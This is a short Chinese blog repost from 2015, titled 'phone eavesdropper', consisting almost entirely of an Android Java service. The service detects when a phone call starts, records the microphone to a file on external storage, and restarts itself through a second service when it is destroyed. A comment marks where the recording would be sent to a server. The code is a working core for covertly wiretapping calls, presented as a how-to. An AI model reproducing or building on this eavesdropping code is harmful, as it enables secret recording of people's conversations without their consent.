码迷,mamicode.com
首页 > 其他好文 > 详细

电话qie听器

时间:2015-04-04 22:33:20      阅读:163      评论:0      收藏:0      [点我收藏+]

标签:

业务逻辑:

  当有电话打进来或电话打出去的时候,对电话进行录音。

public class TelphoneyListenerService extends Service {
    private static final String TAG = "TelphoneyListenerService";
    MediaRecorder mediaRecorder = null;
    TelephonyManager tm = null;
    MyListener myListener = null;

    @Override
    public IBinder onBind(Intent intent) {
        // TODO: Return the communication channel to the service.
        throw new UnsupportedOperationException("Not yet implemented");
    }

    @Override
    public void onCreate() {
        super.onCreate();
        tm = (TelephonyManager) this.getSystemService(Context.TELEPHONY_SERVICE);
        myListener = new MyListener();
        tm.listen(myListener, PhoneStateListener.LISTEN_CALL_STATE);
    }

    @Override
    public int onStartCommand(Intent intent, int flags, int startId) {
        Toast.makeText(this, "服务启动成功", Toast.LENGTH_LONG).show();
        return super.onStartCommand(intent, flags, startId);
    }

    @Override
    public void onDestroy() {
        super.onDestroy();
        Log.i(TAG, "电话监听服务一停止");

        Intent intent = new Intent(this, TelphoneyListenerService1.class);
        startService(intent);

        tm.listen(myListener,PhoneStateListener.LISTEN_NONE);
        myListener = null;
    }

    private class MyListener extends PhoneStateListener {
        @Override
        public void onCallStateChanged(int state, String incomingNumber) {
            try {
                switch (state) {
                    case TelephonyManager.CALL_STATE_IDLE:
                        if (mediaRecorder != null) {
                            mediaRecorder.stop();
                            mediaRecorder.release();
                            mediaRecorder = null;
                            Log.i(TAG, "录音结束");
                            //把录音后的音频文件发送给服务端
                        }
                        break;
                    case TelephonyManager.CALL_STATE_RINGING:
                        break;
                    case TelephonyManager.CALL_STATE_OFFHOOK:
                        //1、开启录音功能
                        Log.i(TAG, "开始录音");
                        mediaRecorder = new MediaRecorder();
                        //2、设置录音源头
                        mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
                        //3、设置输出文件格式
                        mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);
                        //4、设置输出文件名
                        File file = new File(Environment.getExternalStorageDirectory(), System.currentTimeMillis() + ".3gp");
                        mediaRecorder.setOutputFile(file.getAbsolutePath());
                        //5、设置编码格式
                        mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
                        //6、准备
                        mediaRecorder.prepare();
                        //7、开始
                        mediaRecorder.start();

                        break;
                }

            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }
}

 

电话qie听器

标签:

原文地址:http://www.cnblogs.com/zhengqun/p/4392965.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!